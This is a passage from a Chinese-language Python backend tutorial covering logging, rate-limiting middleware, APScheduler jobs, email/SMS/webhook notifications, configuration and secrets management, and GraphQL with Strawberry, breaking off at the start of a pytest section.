# FastAPI 请求日志中间件
import time

@app.middleware("http")
async def log_requests(request, call_next):
    start = time.time()
    response = await call_next(request)
    duration = time.time() - start

    logger.info(
        f"{request.method} {request.url.path} → {response.status_code} ({duration:.3f}s)",
        extra={
            'method': request.method,
            'path': request.url.path,
            'status': response.status_code,
            'duration': round(duration, 3),
            'ip': request.client.host,
        }
    )
    # 慢请求告警
    if duration > 2.0:
        logger.warning(f"慢请求: {request.method} {request.url.path} 耗时 {duration:.2f}s")

    return response

# Django settings.py 日志配置
LOGGING = {
    'version': 1,
    'disable_existing_loggers': False,
    'formatters': {
        'verbose': {
            'format': '{asctime} [{levelname}] {name}:{lineno} - {message}',
            'style': '{',
        },
    },
    'handlers': {
        'file': {
            'class': 'logging.handlers.RotatingFileHandler',
            'filename': 'logs/django.log',
            'maxBytes': 10*1024*1024,
            'backupCount': 5,
            'formatter': 'verbose',
        },
    },
    'root': {
        'handlers': ['file'],
        'level': 'INFO',
    },
}
ELK 日志收集方案

生产环境用 Filebeat 收集日志 → 发送到 Elasticsearch 存储和索引 → Kibana 可视化查询。支持按关键词、时间范围、错误级别过滤。JSON 格式日志用 python-json-logger 库。轻量替代方案:Loki + Grafana(资源消耗更少)。

日志最佳实践

① 不要在日志中记录密码、Token、身份证号等敏感信息。② 日志要有上下文(请求ID、用户ID、IP)。③ ERROR 级别要带上完整堆栈(exc_info=True)。④ 日志文件要轮转(防止磁盘撑满)。⑤ 不同环境不同级别(开发 DEBUG,生产 INFO)。⑥ 用结构化 JSON 日志(方便 ELK 解析)。

日志性能

① 同步写日志会拖慢请求——用异步日志 handler(logging.handlers.QueueHandler)。② 大量 DEBUG 日志在生产环境即使不输出,字符串格式化也会执行——用 if logger.isDebugEnabled(): 或 lazy formatting。③ 日志写入磁盘用 BufferingHandler 批量写入。

47. 限流与防刷

没有限流的 API 就像没有闸门的水坝——恶意用户一秒发 10 万个请求,你的服务器就挂了。

令牌桶算法

# 令牌桶:以固定速率往桶里放令牌,请求需要消耗令牌
import time
import redis

r = redis.Redis()

def is_rate_limited(user_id: str, limit: int = 100, window: int = 60) -> bool:
    """滑动窗口限流:每 window 秒最多 limit 次。返回 True 表示被限流"""
    key = f"rate:{user_id}"
    now = time.time()

    pipe = r.pipeline()
    pipe.zremrangebyscore(key, 0, now - window)  # 清除窗口外的记录
    pipe.zadd(key, {str(now): now})               # 添加当前请求
    pipe.zcard(key)                               # 统计窗口内请求数
    pipe.expire(key, window)                      # 设置过期
    _, _, count, _ = pipe.execute()

    return count > limit
限流策略

① 按 IP 限流(防刷)。② 按用户限流(公平使用)。③ 按接口限流(保护敏感接口)。④ 全局限流(保护服务器总容量)。一般登录接口限制 5 次/分钟,普通 API 限制 100 次/分钟。

令牌桶算法(Token Bucket)

# 令牌桶:以固定速率往桶里放令牌,请求消耗令牌
# 特点:允许突发流量(桶满时可以一次取多个令牌)
import time
import threading

class TokenBucket:
    def __init__(self, rate: float, capacity: int):
        self.rate = rate                          # 每秒产生的令牌数
        self.capacity = capacity                  # 桶的最大容量
        self.tokens = capacity                    # 当前令牌数
        self.last_refill = time.time()
        self.lock = threading.Lock()

    def consume(self, tokens: int = 1) -> bool:
        with self.lock:  # 注意:async 环境下可用 asyncio.Lock 替代,但此临界区极短,threading.Lock 也可接受
            now = time.time()
            # 补充令牌
            elapsed = now - self.last_refill
            self.tokens = min(self.capacity, self.tokens + elapsed * self.rate)
            self.last_refill = now

            if self.tokens >= tokens:
                self.tokens -= tokens
                return True                      # 允许请求
            return False                         # 拒绝请求

# 使用:每个用户一个令牌桶
buckets = {}                                     # {user_id: TokenBucket}

def is_allowed(user_id: str) -> bool:
    if user_id not in buckets:
        buckets[user_id] = TokenBucket(rate=10, capacity=20)  # 10/s,突发 20
    return buckets[user_id].consume()

滑动窗口限流(Redis)

# 滑动窗口:精确统计时间窗口内的请求数
import time
import redis

r = redis.Redis()

def sliding_window_limit(user_id: str, limit: int = 100, window: int = 60) -> bool:
    """滑动窗口限流:每 window 秒最多 limit 次。返回 True 表示被限流"""
    key = f"rate:{user_id}"
    now = time.time()

    pipe = r.pipeline()
    pipe.zremrangebyscore(key, 0, now - window)  # 清除窗口外的记录
    pipe.zadd(key, {str(now): now})               # 添加当前请求
    pipe.zcard(key)                               # 统计窗口内请求数
    pipe.expire(key, window)                      # 设置过期
    _, _, count, _ = pipe.execute()

    return count > limit

# 返回剩余配额(给客户端)
def get_rate_limit_info(user_id: str, limit: int = 100, window: int = 60):
    key = f"rate:{user_id}"
    count = r.zcard(key)
    return {
        "X-RateLimit-Limit": limit,              # 总配额
        "X-RateLimit-Remaining": max(0, limit - count),  # 剩余配额
        "X-RateLimit-Reset": int(time.time()) + window,   # 重置时间
    }

限流中间件(完整实现)

# FastAPI 限流中间件
from fastapi import Request
from fastapi.responses import JSONResponse

@app.middleware("http")
async def rate_limit(request: Request, call_next):
    # 获取用户标识(IP 或 Token)
    user_id = request.client.host
    auth = request.headers.get("Authorization")
    if auth:
        user_id = auth                           # 登录用户按 Token 限流

    # 不同接口不同限流策略
    path = request.url.path
    if path.startswith("/api/auth/login"):
        limit, window = 5, 60                    # 登录接口:5次/分钟
    elif path.startswith("/api/"):
        limit, window = 100, 60                  # 普通API:100次/分钟
    else:
        limit, window = 200, 60                  # 其他:200次/分钟

    if sliding_window_limit(user_id, limit, window):
        info = get_rate_limit_info(user_id, limit, window)
        return JSONResponse(
            status_code=429,
            content={"error": "请求过于频繁,请稍后再试", "retry_after": window},
            headers={
                "Retry-After": str(window),
                "X-RateLimit-Limit": str(info["X-RateLimit-Limit"]),
                "X-RateLimit-Remaining": str(info["X-RateLimit-Remaining"]),
            }
        )

    response = await call_next(request)
    return response

滑动窗口计数器(内存版)

# 不依赖 Redis 的内存限流(适合单机部署)
from collections import defaultdict
import time

class SlidingWindowCounter:
    def __init__(self):
        self.counters = defaultdict(list)

    def is_allowed(self, key: str, limit: int, window: int) -> bool:
        now = time.time()
        # 清理过期记录
        self.counters[key] = [t for t in self.counters[key] if t > now - window]

        if len(self.counters[key]) >= limit:
            return False

        self.counters[key].append(now)
        return True

limiter = SlidingWindowCounter()

# 使用
if not limiter.is_allowed("user:123", limit=100, window=60):
    return {"error": "请求过于频繁"}, 429

IP 黑白名单

# IP 黑白名单
BLOCKED_IPS = {"1.2.3.4", "5.6.7.8"}
ALLOWED_IPS = {"10.0.0.1"}                       # 白名单优先

@app.middleware("http")
async def ip_filter(request: Request, call_next):
    client_ip = request.client.host

    # 白名单直接放行
    if client_ip in ALLOWED_IPS:
        return await call_next(request)

    # 黑名单直接拒绝
    if client_ip in BLOCKED_IPS:
        return JSONResponse(status_code=403, content={"error": "IP 被封禁"})

    return await call_next(request)

# 动态黑名单(自动封禁频繁违规的 IP)
from collections import defaultdict
violation_counts = defaultdict(int)

def record_violation(ip: str):
    violation_counts[ip] += 1
    if violation_counts[ip] >= 10:               # 累计 10 次违规
        BLOCKED_IPS.add(ip)
        redis.sadd("blocked_ips", ip)            # 持久化到 Redis
限流策略

① 按 IP 限流(防刷)。② 按用户限流(公平使用)。③ 按接口限流(保护敏感接口)。④ 全局限流(保护服务器总容量)。一般登录接口限制 5 次/分钟,普通 API 限制 100 次/分钟。支付接口限制 10 次/分钟。

防爬策略

① 检查 User-Agent(爬虫通常没有或用默认值)。② 检查请求频率。③ 关键操作加验证码(极验、 hCaptcha)。④ 动态渲染页面(JavaScript 渲染)。⑤ 使用 Cloudflare 等 WAF。⑥ 关键数据加水印(追踪泄露源)。

限流响应头规范

遵循 HTTP 标准,返回限流信息:X-RateLimit-Limit(总配额)、X-RateLimit-Remaining(剩余配额)、X-RateLimit-Reset(重置时间戳)、Retry-After(等待秒数)。让客户端知道何时可以重试。

48. 定时任务与后台调度

定时任务是后端的"闹钟"——每天凌晨清理过期数据、每小时同步库存、每周生成报表。

APScheduler 基础

# pip install apscheduler
from apscheduler.schedulers.background import BackgroundScheduler
from apscheduler.triggers.cron import CronTrigger
from apscheduler.triggers.interval import IntervalTrigger
from apscheduler.triggers.date import DateTrigger
from datetime import datetime, timedelta

scheduler = BackgroundScheduler()

# 1. Cron 触发器(类 Linux crontab)
@scheduler.scheduled_job(CronTrigger(hour=2, minute=0))
def cleanup_expired():
    """每天凌晨 2 点清理过期数据"""
    count = db.query(Token).filter(Token.expire_at < datetime.now()).delete()
    db.commit()
    print(f"清理了 {count} 条过期记录")

# 2. 间隔触发器(固定时间间隔)
@scheduler.scheduled_job(IntervalTrigger(minutes=5))
def sync_inventory():
    """每 5 分钟同步一次库存"""
    update_stock_from_warehouse()

# 3. 日期触发器(一次性任务)
@scheduler.scheduled_job(DateTrigger(run_date=datetime.now() + timedelta(hours=1)))
def send_reminder():
    """1 小时后发送提醒"""
    send_notification("记得完成今日任务")

# 4. 带参数的任务
@scheduler.scheduled_job(CronTrigger(hour=9, minute=0), args=["weekly"])
def generate_report(report_type: str):
    """每天 9 点生成日报,每周一生成周报"""
    create_report(report_type)

scheduler.start()

Crontab 表达式详解

# Crontab 格式:分 时 日 月 周
# ┌───── 分钟 (0-59)
# │ ┌───── 小时 (0-23)
# │ │ ┌───── 日 (1-31)
# │ │ │ ┌───── 月 (1-12)
# │ │ │ │ ┌───── 周 (0-6, 0=周日)
# * * * * *

# 常用表达式
# *  *  *  *  *  每分钟
# */5 *  *  *  *  每 5 分钟
# 0  *  *  *  *  每小时整点
# 0  2  *  *  *  每天凌晨 2 点
# 0  9  *  *  1-5  工作日早上 9 点
# 0  0  1  *  *  每月 1 号零点
# 0  0  *  *  0  每周日零点
# 30 2  1,15 *  *  每月 1 号和 15 号凌晨 2:30

# APScheduler CronTrigger 对应
CronTrigger(hour=2, minute=0)                  # 0 2 * * *
CronTrigger(minute='*/5')                      # */5 * * * *
CronTrigger(hour=9, minute=0, day_of_week='mon-fri')  # 0 9 * * 1-5

持久化任务存储

# 默认任务存在内存中,重启后丢失。用 Redis 或数据库持久化

# 方式1:Redis 存储
from apscheduler.jobstores.redis import RedisJobStore

jobstores = {
    'default': RedisJobStore(
        jobs_key='apscheduler.jobs',
        run_times_key='apscheduler.run_times',
        host='localhost', port=6379
    )
}
scheduler = BackgroundScheduler(jobstores=jobstores)

# 方式2:数据库存储(SQLAlchemy)
from apscheduler.jobstores.sqlalchemy import SQLAlchemyJobStore

jobstores = {
    'default': SQLAlchemyJobStore(url='sqlite:///jobs.sqlite')
}

# 方式3:MongoDB 存储
from apscheduler.jobstores.mongodb import MongoDBJobStore
jobstores = {
    'default': MongoDBJobStore(host='localhost', port=27017, database='mydb')
}

分布式锁(防重复执行)

# 多台服务器运行同一个定时任务会重复执行
# 用 Redis 分布式锁解决
import redis
import time

r = redis.Redis()

def distributed_lock(lock_name: str, expire: int = 300):
    """分布式锁装饰器"""
    def decorator(func):
        def wrapper(*args, **kwargs):
            lock_key = f"lock:{lock_name}"
            # 尝试获取锁(SET NX EX = 设置 + 不存在才设置 + 过期时间)
            acquired = r.set(lock_key, "1", nx=True, ex=expire)
            if not acquired:
                print(f"任务 {lock_name} 正在其他服务器执行,跳过")
                return
            try:
                return func(*args, **kwargs)
            finally:
                r.delete(lock_key)               # 释放锁
        return wrapper
    return decorator

# 使用
@scheduler.scheduled_job(CronTrigger(hour=2, minute=0))
@distributed_lock("cleanup_expired")
def cleanup_expired():
    """只有一台服务器会执行"""
    # 清理逻辑...

任务监控与失败告警

# 任务执行日志
from apscheduler.events import EVENT_JOB_EXECUTED, EVENT_JOB_ERROR

def job_listener(event):
    if event.exception:
        # 任务失败——发送告警
        send_alert(f"定时任务 {event.job_id} 执行失败: {event.exception}")
        # 记录到数据库
        FailedJobLog.create(
            job_id=event.job_id,
            error=str(event.exception),
            traceback=traceback.format_exc()
        )
    else:
        # 任务成功——记录日志
        print(f"任务 {event.job_id} 执行成功")

scheduler.add_listener(job_listener, EVENT_JOB_EXECUTED | EVENT_JOB_ERROR)

# 任务执行超时监控(跨平台方案:threading.Timer,兼容 Windows/Linux/macOS)
import threading

@scheduler.scheduled_job(CronTrigger(hour=2, minute=0))
def long_running_task():
    timeout_seconds = 600  # 10 分钟超时
    timed_out = threading.Event()

    def timeout_handler():
        timed_out.set()
        # 注意:不能直接终止线程,需要在任务内部检查 timed_out.is_set()

    timer = threading.Timer(timeout_seconds, timeout_handler)
    timer.start()
    try:
        # 长时间任务... 在关键步骤中检查 timed_out.is_set()
        if timed_out.is_set():
            raise TimeoutError("任务执行超时")
    finally:
        timer.cancel()                           # 取消定时器
分布式调度方案对比

① APScheduler + Redis:轻量,适合简单场景,需要自己处理分布式锁。② Celery Beat:功能完善,自带分布式调度,适合已有 Celery 的项目。③ XXL-JOB:Java 生态的分布式调度平台,有 Web 管理界面。④ Airflow:复杂工作流调度(DAG),适合数据管道。

定时任务最佳实践

① 任务要幂等(重复执行结果一样)。② 任务要可中断(支持优雅停止)。③ 任务要有超时限制(防止卡死)。④ 任务要有重试机制(网络抖动自动重试)。⑤ 任务要有执行日志(方便排查)。⑥ 大任务拆分成小任务(避免长时间占用资源)。

Crontab 表达式(Linux 原生)

分 时 日 月 周。* * * * * 每分钟。0 2 * * * 每天凌晨 2 点。*/5 * * * * 每 5 分钟。0 0 * * 1 每周一零点。0 9 * * 1-5 工作日早上 9 点。用 crontab -e 编辑,crontab -l 查看。

49. 邮件与通知服务

通知是后端和用户沟通的桥梁——注册验证邮件、密码重置、订单状态变更、系统告警。

SMTP 发送邮件

# SMTP 发送邮件
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

def send_email(to: str, subject: str, html: str, attachments: list = None):
    msg = MIMEMultipart('alternative')
    msg['From'] = 'MyApp <noreply@example.com>'
    msg['To'] = to
    msg['Subject'] = subject

    # HTML 正文
    msg.attach(MIMEText(html, 'html', 'utf-8'))

    # 附件
    if attachments:
        for filepath in attachments:
            with open(filepath, 'rb') as f:
                part = MIMEBase('application', 'octet-stream')
                part.set_payload(f.read())
                encoders.encode_base64(part)
                part.add_header('Content-Disposition', f'attachment; filename="{Path(filepath).name}"')
                msg.attach(part)

    with smtplib.SMTP_SSL('smtp.qq.com', 465) as server:
        server.login('your@qq.com', '授权码')
        server.send_message(msg)

邮件模板(Jinja2)

# 用 Jinja2 渲染邮件模板
from jinja2 import Environment, FileSystemLoader

env = Environment(loader=FileSystemLoader('templates/email'))

def send_verification_email(to: str, username: str, verify_url: str):
    template = env.get_template('verify_email.html')
    html = template.render(
        username=username,
        verify_url=verify_url,
        expire_minutes=30,
    )
    send_email(to, "请验证您的邮箱", html)

# templates/email/verify_email.html
# <h1>欢迎 {{ username }}!</h1>
# <p>请点击以下链接验证邮箱({{ expire_minutes }} 分钟内有效):</p>
# <a href="{{ verify_url }}" style="background:#2563eb;color:#fff;padding:12px 24px;text-decoration:none;border-radius:6px">验证邮箱</a>

# 常用邮件模板
# 1. 注册验证邮件
# 2. 密码重置邮件
# 3. 订单确认邮件
# 4. 系统告警邮件
# 5. 每周摘要邮件

异步发送(Celery)

# 邮件发送很慢(1-5 秒),必须异步
from celery import Celery

celery = Celery('myapp', broker='redis://localhost:6379/1')

@celery.task(bind=True, max_retries=3)
def send_email_async(self, to: str, subject: str, html: str):
    try:
        send_email(to, subject, html)
    except Exception as exc:
        raise self.retry(exc=exc, countdown=60)

# 路由中调用
@app.post("/api/register")
def register(data: UserCreate):
    user = create_user(data)
    # 异步发送验证邮件
    send_email_async.delay(
        user.email,
        "请验证您的邮箱",
        render_template('verify.html', user=user)
    )
    return {"message": "注册成功,请查收验证邮件"}

短信服务

# 阿里云短信
from alibabacloud_dysmsapi20170525.client import Client
from alibabacloud_dysmsapi20170525 import models as sms_models
from alibabacloud_tea_openapi import models as open_api_models

config = open_api_models.Config(
    access_key_id='your-access-key-id',
    access_key_secret='your-access-key-secret'
)
config.endpoint = 'dysmsapi.aliyuncs.com'
client = Client(config)

def send_sms(phone: str, template_code: str, params: dict):
    request = sms_models.SendSmsRequest(
        phone_numbers=phone,
        sign_name='你的签名',
        template_code=template_code,             # SMS_123456789
        template_param=json.dumps(params)        # {"code": "123456"}
    )
    response = client.send_sms(request)
    return response.body.code == 'OK'

# 腾讯云短信
# from tencentcloud.sms.v20210111 import sms_client, models
# 使用方式类似

# 短信验证码存储(Redis + 5 分钟过期)
def send_verify_code(phone: str):
    code = f"{random.randint(100000, 999999)}"
    redis.setex(f"sms:code:{phone}", 300, code)  # 5 分钟过期
    send_sms(phone, "SMS_123456789", {"code": code})

def verify_code(phone: str, code: str) -> bool:
    stored = redis.get(f"sms:code:{phone}")
    if stored and stored.decode() == code:
        redis.delete(f"sms:code:{phone}")        # 验证后立即删除
        return True
    return False

Webhook 回调

# Webhook 回调——通知外部系统
import httpx
import hmac
import hashlib

async def notify_webhook(url: str, data: dict, secret: str = None):
    """发送 Webhook 回调"""
    body = json.dumps(data, default=str)

    headers = {"Content-Type": "application/json"}
    if secret:
        # 签名验证(防止伪造)
        signature = hmac.new(secret.encode(), body.encode(), hashlib.sha256).hexdigest()
        headers["X-Signature"] = f"sha256={signature}"

    async with httpx.AsyncClient() as client:
        response = await client.post(url, content=body, headers=headers, timeout=10)
        return response.status_code == 200

# Webhook 重试机制
@celery.task(bind=True, max_retries=5)
def send_webhook_with_retry(self, url: str, data: dict):
    success = asyncio.run(notify_webhook(url, data))
    if not success:
        raise self.retry(countdown=60 * (2 ** self.request.retries))  # 指数退避

# 常见 Webhook 场景
# 1. 订单状态变更 → 通知商家系统
# 2. 用户注册 → 通知 CRM 系统
# 3. 支付成功 → 通知财务系统
# 4. 系统告警 → 通知钉钉/企业微信/Slack

钉钉/企业微信通知

# 钉钉机器人通知
async def send_dingtalk(message: str, webhook_url: str):
    data = {
        "msgtype": "markdown",
        "markdown": {
            "title": "系统通知",
            "text": message
        }
    }
    async with httpx.AsyncClient() as client:
        await client.post(webhook_url, json=data)

# 企业微信机器人通知
async def send_wechat_work(message: str, webhook_url: str):
    data = {
        "msgtype": "text",
        "text": {"content": message}
    }
    async with httpx.AsyncClient() as client:
        await client.post(webhook_url, json=data)

# 使用场景
# 线上错误 → 钉钉群告警
# 订单异常 → 企业微信群通知
# 部署完成 → Slack 通知
异步发送

邮件和短信发送很慢(1-5 秒),不要在请求中同步执行。用 Celery 异步任务或 FastAPI 的 BackgroundTasks 后台发送。发送失败要重试(网络抖动),但要限制重试次数(防止无限重试)。

通知最佳实践

① 通知要有优先级(紧急通知短信,普通通知邮件)。② 通知要有频率限制(防止轰炸用户)。③ 通知要有模板(统一格式,方便维护)。④ 通知要有送达确认(记录发送状态)。⑤ 通知要有用户偏好(允许用户关闭某些通知)。

邮件发送注意事项

① 设置 SPF/DKIM/DMARC(防止被标记为垃圾邮件)。② 邮件内容要有退订链接(法律要求)。③ 不要在短时间内发送大量邮件(会被限流)。④ 用专业的邮件服务(SendGrid、Mailgun、阿里云邮件推送)比自己搭建 SMTP 更可靠。

50. 配置管理与多环境

开发、测试、生产环境的配置不同(数据库地址、密钥、日志级别)。配置管理的核心原则:代码和配置分离。

# .env 文件(不要提交到 Git!)
DATABASE_URL=postgresql://user:pass@localhost/mydb
SECRET_KEY=dev-secret-key-123
REDIS_URL=redis://localhost:6379/0
DEBUG=true

# python-dotenv 读取 .env
from dotenv import load_dotenv
import os

load_dotenv()                                # 加载 .env 文件

DATABASE_URL = os.environ.get('DATABASE_URL')
SECRET_KEY = os.environ.get('SECRET_KEY')
DEBUG = os.environ.get('DEBUG', 'false').lower() == 'true'

# Pydantic Settings(推荐)
from pydantic_settings import BaseSettings

class Settings(BaseSettings):
    database_url: str
    secret_key: str
    redis_url: str = 'redis://localhost:6379/0'
    debug: bool = False

    model_config = {'env_file': '.env'}

settings = Settings()                        # 自动从环境变量和 .env 读取

12-Factor App 原则

1
配置存储在环境变量中——不要硬编码在代码里。
2
区分环境——开发、测试、生产用不同的配置。
3
密钥不入库——密码、密钥通过环境变量注入,不提交到 Git。

多环境配置管理

# 方式1:按环境变量区分配置文件
# .env.development
DATABASE_URL=sqlite:///dev.db
DEBUG=true
LOG_LEVEL=DEBUG

# .env.testing
DATABASE_URL=sqlite:///:memory:
DEBUG=true
LOG_LEVEL=DEBUG

# .env.production
DATABASE_URL=postgresql://user:pass@prod-db:5432/mydb
DEBUG=false
LOG_LEVEL=WARNING

# 根据环境加载不同配置
import os
env = os.environ.get('APP_ENV', 'development')
load_dotenv(f'.env.{env}')

# 方式2:Pydantic Settings 分环境
from pydantic_settings import BaseSettings
from functools import lru_cache

class Settings(BaseSettings):
    database_url: str
    secret_key: str
    redis_url: str = 'redis://localhost:6379/0'
    debug: bool = False
    log_level: str = 'INFO'
    cors_origins: list[str] = ['http://localhost:3000']

    model_config = {'env_file': f'.env.{os.environ.get("APP_ENV", "development")}'}

@lru_cache
def get_settings() -> Settings:
    return Settings()

# FastAPI 依赖注入
from fastapi import Depends

@app.get("/api/config")
def show_config(settings: Settings = Depends(get_settings)):
    return {"debug": settings.debug, "log_level": settings.log_level}

敏感信息管理(Secrets)

# 方式1:环境变量注入(Docker/K8s)
# docker-compose.yml
services:
  app:
    environment:
      - DATABASE_URL=postgresql://user:pass@db:5432/mydb
      - SECRET_KEY=your-secret-key
    # 或从文件读取
    env_file:
      - .env.production

# 方式2:HashiCorp Vault(企业级密钥管理)
# pip install hvac
import hvac

client = hvac.Client(url='http://vault:8200', token='your-token')
secret = client.secrets.kv.v2.read_secret_version(path='myapp/config')
db_url = secret['data']['data']['database_url']

# 方式3:云厂商密钥管理
# 阿里云 KMS / AWS Secrets Manager / Azure Key Vault
# 从云服务获取密钥,而不是硬编码在配置文件中

# 方式4:配置加密(sops)
# 用 sops 加密配置文件,提交到 Git 也安全
# sops --encrypt .env.production > .env.production.enc
# sops --decrypt .env.production.enc > .env.production

配置热更新

# 配置热更新——不重启服务就能更新配置
import threading
import time

class HotReloadSettings:
    def __init__(self, config_path: str):
        self.config_path = config_path
        self._lock = threading.Lock()              # 线程安全锁
        self.config = self._load()
        self._last_modified = os.path.getmtime(config_path)
        self._start_watcher()

    def _load(self) -> dict:
        with open(self.config_path) as f:
            return json.load(f)

    def _start_watcher(self):
        def watch():
            while True:
                time.sleep(5)
                mtime = os.path.getmtime(self.config_path)
                if mtime > self._last_modified:
                    new_config = self._load()
                    with self._lock:
                        self.config = new_config     # 原子替换,加锁保护
                    self._last_modified = mtime
                    print("配置已热更新")

        thread = threading.Thread(target=watch, daemon=True)
        thread.start()

    def get(self, key, default=None):
        with self._lock:
            return self.config.get(key, default)

# 使用
config = HotReloadSettings('config.json')
# 运行时修改 config.json 会自动生效

配置验证

# 启动时验证配置(防止运行时才发现配置错误)
from pydantic_settings import BaseSettings
from pydantic import field_validator

class Settings(BaseSettings):
    database_url: str
    secret_key: str
    debug: bool = False
    port: int = 8000
    cors_origins: list[str] = ['http://localhost:3000']

    @field_validator('secret_key')
    @classmethod
    def secret_key_must_be_long(cls, v):
        if len(v) < 16:
            raise ValueError('SECRET_KEY 至少 16 个字符')
        return v

    @field_validator('database_url')
    @classmethod
    def database_url_must_be_valid(cls, v):
        if not v.startswith(('postgresql://', 'mysql://', 'sqlite://')):
            raise ValueError('DATABASE_URL 格式不正确')
        return v

    @field_validator('port')
    @classmethod
    def port_must_be_valid(cls, v):
        if not 1024 <= v <= 65535:
            raise ValueError('PORT 必须在 1024-65535 之间')
        return v

# 启动时验证——配置错误立即报错,不会等到运行时
try:
    settings = Settings()
except ValidationError as e:
    print(f"配置错误: {e}")
    sys.exit(1)

Feature Flags(功能开关)

# 功能开关——控制功能的开启和关闭,不需要重新部署
import json
import redis

class FeatureFlags:
    def __init__(self, redis_client):
        self.redis = redis_client

    def is_enabled(self, flag_name: str, user_id: int = None) -> bool:
        """检查功能是否开启"""
        # 1. 检查全局开关
        flag = self.redis.hget('feature_flags', flag_name)
        if flag is None:
            return False

        flag_config = json.loads(flag)
        if not flag_config.get('enabled', False):
            return False

        # 2. 检查用户白名单
        whitelist = flag_config.get('whitelist', [])
        if user_id and user_id in whitelist:
            return True

        # 3. 按百分比灰度
        percentage = flag_config.get('percentage', 0)
        if percentage > 0:
            return (user_id or 0) % 100 < percentage

        return flag_config.get('enabled', False)

# 使用
flags = FeatureFlags(redis)

@app.get("/api/new-feature")
def new_feature(user = Depends(get_current_user)):
    if not flags.is_enabled('new_ui', user.id):
        raise HTTPException(404, "功能未开放")
    return {"data": "新功能内容"}

# 管理功能开关(通过 API 或 Admin)
@app.post("/admin/feature-flags")
def set_flag(name: str, enabled: bool, percentage: int = 0):
    redis.hset('feature_flags', name, json.dumps({
        'enabled': enabled, 'percentage': percentage
    }))
安全警告

永远不要把密钥提交到 Git!在 .gitignore 中加上 .env。如果已经提交了,立刻更换密钥并从 Git 历史中删除。生产环境密钥用 Vault 或云厂商密钥管理服务,不要用 .env 文件。

配置管理 Checklist

① 配置和代码分离(环境变量/配置文件)。② 密钥不入库(.gitignore + Vault)。③ 启动时验证配置(Pydantic validator)。④ 多环境配置(dev/test/staging/prod)。⑤ 配置有默认值(合理的默认值减少配置量)。⑥ 敏感配置加密存储(sops/Vault)。⑦ 功能开关控制新功能发布。

51. GraphQL — 查询、变更与订阅

REST API 的问题是:前端需要的数据可能分散在多个接口里。GraphQL 让前端自己决定"要什么数据、要多少"——一个接口搞定一切。

维度RESTGraphQL
数据获取服务器决定返回什么客户端决定要什么
端点多个 URL单一端点 /graphql
过度获取常见(返回多余字段)不存在(按需查询)
不足获取需要多次请求一次请求获取关联数据
学习成本低中等
# Strawberry(FastAPI + GraphQL)
import strawberry
from typing import List

@strawberry.type
class User:
    id: int
    name: str
    email: str

@strawberry.type
class Query:
    @strawberry.field
    def users(self) -> List[User]:
        return [User(id=1, name="张三", email="zhangsan@example.com")]

    @strawberry.field
    def user(self, id: int) -> User:
        return User(id=id, name="张三", email="zhangsan@example.com")

@strawberry.type
class Mutation:
    @strawberry.mutation
    def create_user(self, name: str, email: str) -> User:
        return User(id=1, name=name, email=email)

schema = strawberry.Schema(query=Query, mutation=Mutation)

# FastAPI 集成
from strawberry.fastapi import GraphQLRouter
app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")
# 客户端查询
query {
  user(id: 1) {
    name
    email
    orders {              # 一次请求获取用户 + 订单
      id
      total
    }
  }
}
何时用 GraphQL?

① 前端需要灵活查询(移动端需要精简数据)。② 多个关联资源需要一次获取。③ 多个客户端(Web/iPad/App)需要不同数据。简单的 CRUD API 用 REST 更简单直接。

Subscription(实时订阅)

# GraphQL Subscription——实时数据推送
import strawberry
from strawberry.subscriptions import GRAPHQL_TRANSPORT_WS_PROTOCOL
import asyncio

@strawberry.type
class Subscription:
    @strawberry.subscription
    async def count(self, target: int = 100) -> int:
        """实时计数器"""
        for i in range(target):
            yield i
            await asyncio.sleep(1)

    @strawberry.subscription
    async def on_new_article(self) -> ArticleType:
        """新文章发布时实时推送"""
        # 监听消息队列或 Redis Pub/Sub
        pubsub = redis.pubsub()
        pubsub.subscribe("new_articles")
        for message in pubsub.listen():
            if message['type'] == 'message':
                article_data = json.loads(message['data'])
                yield ArticleType(**article_data)

# FastAPI 集成
from strawberry.fastapi import GraphQLRouter

schema = strawberry.Schema(query=Query, mutation=Mutation, subscription=Subscription)
graphql_app = GraphQLRouter(schema, subscription_ws_protocol=GRAPHQL_TRANSPORT_WS_PROTOCOL)
app.include_router(graphql_app, prefix="/graphql")

DataLoader(N+1 问题解决)

# DataLoader——批量加载关联数据
from strawberry.dataloader import DataLoader

async def load_users(user_ids: list[int]) -> list[User]:
    """批量加载用户(1 次查询代替 N 次)"""
    users = db.query(User).filter(User.id.in_(user_ids)).all()
    user_map = {u.id: u for u in users}
    return [user_map.get(uid) for uid in user_ids]

user_loader = DataLoader(load_fn=load_users)

@strawberry.type
class ArticleType:
    id: int
    title: str

    @strawberry.field
    async def author(self) -> UserType:
        user = await user_loader.load(self.author_id)  # 自动批量加载
        return UserType.from_orm(user)

认证与错误处理

# GraphQL 认证
from strawberry.permission import Permission

class IsAuthenticated(Permission):
    message = "未登录"

    def has_permission(self, source, info, **kwargs):
        request = info.context["request"]
        token = request.headers.get("Authorization", "").replace("Bearer ", "")
        return verify_token(token) is not None

@strawberry.type
class Mutation:
    @strawberry.mutation(permission_classes=[IsAuthenticated])
    def create_article(self, title: str, content: str, info) -> ArticleType:
        user = get_current_user(info.context["request"])
        article = Article(title=title, content=content, author_id=user.id)
        db.add(article)
        db.commit()
        return ArticleType.from_orm(article)

# 错误处理
@strawberry.type
class Query:
    @strawberry.field
    def user(self, id: int) -> UserType:
        user = db.session.get(User, id)
        if not user:
            raise ValueError(f"用户 {id} 不存在")
        return UserType.from_orm(user)
何时用 GraphQL?

① 前端需要灵活查询(移动端需要精简数据)。② 多个关联资源需要一次获取。③ 多个客户端(Web/iPad/App)需要不同数据。④ 实时订阅需求。简单的 CRUD API 用 REST 更简单直接。

N+1 问题

GraphQL 的嵌套查询容易产生 N+1 问题。用 DataLoader 批量加载关联数据,把 N 次查询合并为 1 次。这是 GraphQL 性能优化最重要的技术。

GraphQL vs REST 选型

① 对外 API 用 REST(简单、标准、浏览器直接调用)。② 内部 BFF 层用 GraphQL(聚合多个微服务的数据)。③ 移动端用 GraphQL(按需获取,节省带宽)。④ 实时场景用 GraphQL Subscription。两者可以共存。

第七部分 · 测试与质量保障

52. 单元测试 pytest

测试不是"写完代码再补"的事——它是代码质量的保障网。pytest 是 Python 最流行的测试框架。

# test_user.py
def test_create_user():
    user = User(name="张三", age=25)
    assert user.name == "张三"
    assert user.is_adult() == True

def test_user_validation():
    with pytest.raises(ValueError):
        User(name="", age=25)           # 名字不能为空

# fixture:测试的"准备工作"
import pytest

@pytest.fixture
def db():
